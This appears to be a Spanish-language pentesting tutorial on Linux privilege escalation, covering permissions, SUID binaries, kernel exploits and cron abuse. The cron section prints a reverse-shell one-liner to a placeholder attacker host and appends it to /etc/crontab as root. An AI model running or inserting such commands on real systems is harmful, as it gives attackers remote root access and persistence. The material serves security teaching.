PrivEsc For Linux

La escalación de privilegios en Linux es una técnica utilizada por atacantes y pentesters para obtener acceso root en sistemas donde inicialmente solo tienen acceso limitado. Esta práctica es crucial para obtener el control total del sistema y es fundamental para evaluar la seguridad de los entornos Linux. Este texto explora la necesidad de escalar privilegios en Linux, la importancia del usuario root, los diferentes tipos de privilegios en archivos y usuarios, y las técnicas más comunes utilizadas para escalar privilegios en Linux.

Necesidad de Escalar Privilegios en Linux

Escalar privilegios en Linux es necesario por varias razones:

  1. Acceso Completo al Sistema: Con privilegios elevados, un atacante puede realizar cualquier operación en el sistema, incluyendo la modificación de archivos críticos, instalación de software malicioso y alteración de configuraciones de seguridad.

  2. Persistencia: Obtener acceso root permite a un atacante establecer mecanismos para mantener acceso persistente al sistema, incluso después de reinicios o intentos de limpieza.

  3. Movimiento Lateral: Privilegios elevados permiten a los atacantes moverse lateralmente dentro de una red y comprometer otros sistemas.

Usuario Root en Linux

El usuario root es la cuenta más privilegiada en un sistema Linux. Tiene control total sobre el sistema operativo, pudiendo realizar cualquier acción sin restricciones.

  • Privilegios: Puede acceder y modificar cualquier archivo, ejecutar cualquier comando, y cambiar cualquier configuración del sistema.

  • Importancia: Obtener acceso como root otorga control absoluto sobre el sistema, permitiendo a un atacante manipularlo a su voluntad.

Privilegios en Linux: Archivos y Usuarios

Privilegios de Archivos

En Linux, los privilegios de archivos se gestionan mediante permisos y atributos.

  • Permisos Básicos: Lectura (r), escritura (w), y ejecución (x).

  • Propietarios y Grupos: Cada archivo tiene un propietario y un grupo asociado, y los permisos pueden ser definidos para el usuario propietario, el grupo y otros.

  • Listas de Control de Acceso (ACL): Proporcionan un mecanismo más granular para asignar permisos a múltiples usuarios y grupos.

Privilegios de Usuarios

Los usuarios en Linux pueden tener diferentes niveles de privilegios basados en sus roles y grupos de pertenencia.

  • Usuarios Estándar: Tienen permisos limitados y no pueden realizar cambios que afecten a otros usuarios o al sistema operativo.

  • Superusuarios (Root): Tienen permisos elevados y pueden realizar cualquier operación en el sistema.

  • Sudoers: Usuarios que tienen permisos para ejecutar comandos como root mediante el comando sudo.

Diferencias entre Escalación Local de Usuario y Escalación en Active Directory

Escalación Local de Usuario

  • Definición: Obtención de privilegios elevados en un único sistema.

  • Objetivo: Convertirse en root en ese sistema específico.

  • Técnicas Comunes: Explotación de vulnerabilidades locales, abuso de permisos de archivos, uso de binarios con SUID.

Escalación en Active Directory (En Entornos Windows)

  • Definición: Obtención de privilegios elevados en un entorno de red basado en Active Directory (AD).

  • Objetivo: Convertirse en un administrador de dominio, lo que otorga control sobre todos los sistemas y usuarios dentro del dominio.

  • Técnicas Comunes: Abuso de credenciales de dominio, explotación de vulnerabilidades en servidores de AD, ataques Pass-the-Hash y Golden Ticket.

Privilegios de los Procesos

En Linux, cada proceso tiene asociados ciertos privilegios que determinan lo que puede y no puede hacer.

  • UID y GID: Cada proceso se ejecuta con el ID de usuario (UID) y el ID de grupo (GID) del usuario que lo inició.

  • Capacidades: Linux proporciona un mecanismo de "capacidades" que permite asignar privilegios específicos a procesos sin otorgarles todos los permisos de root.

  • Contexto de Seguridad: El contexto de seguridad de un proceso incluye los permisos del usuario y las capacidades asignadas, determinando las acciones permitidas.

Técnicas Comunes de Escalación de Privilegios en Linux

  1. Abuso de Binarios SUID/SGID

  • Descripción: Binarios con el bit SUID (Set User ID) o SGID (Set Group ID) permiten que los programas se ejecuten con los privilegios del propietario del archivo, no del usuario que los ejecuta.

  • Ejemplo:

    find / -perm -4000 -type f 2>/dev/null  # Listar binarios SUID
  • Técnicas: Ejecutar comandos arbitrarios mediante binarios SUID vulnerables.

  1. Exploits de Kernel

  • Descripción: Vulnerabilidades en el kernel de Linux que permiten escalar privilegios a root.

  • Ejemplo: Dirty COW (CVE-2016-5195), PwnKit (CVE-2021-4034).

  • Herramientas: Utilizar scripts de exploit disponibles públicamente.

  1. Manipulación de Archivos y Directorios

  • Descripción: Explotar permisos incorrectos en archivos y directorios para ejecutar código con privilegios elevados.

  • Ejemplo: Crear archivos maliciosos en directorios con permisos inseguros.

  • Técnicas:

    ln -s /bin/bash /tmp/ln_bash
    sudo /tmp/ln_bash  # Ejecutar bash con privilegios elevados
  1. Explotación de Tareas Cron

  • Descripción: Modificar tareas cron configuradas incorrectamente para ejecutar código malicioso.

  • Ejemplo:

    echo "/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'" > /tmp/evil.sh
    chmod +x /tmp/evil.sh
    echo "* * * * * root /tmp/evil.sh" >> /etc/crontab
  1. Exploits de Aplicaciones

  • Descripción: Explotar vulnerabilidades en aplicaciones instaladas para obtener privilegios elevados.

  • Ejemplo: Aplicaciones con configuraciones inseguras o vulnerabilidades conocidas.

  • Técnicas: Buscar y explotar vulnerabilidades específicas en aplicaciones instaladas.

Última actualización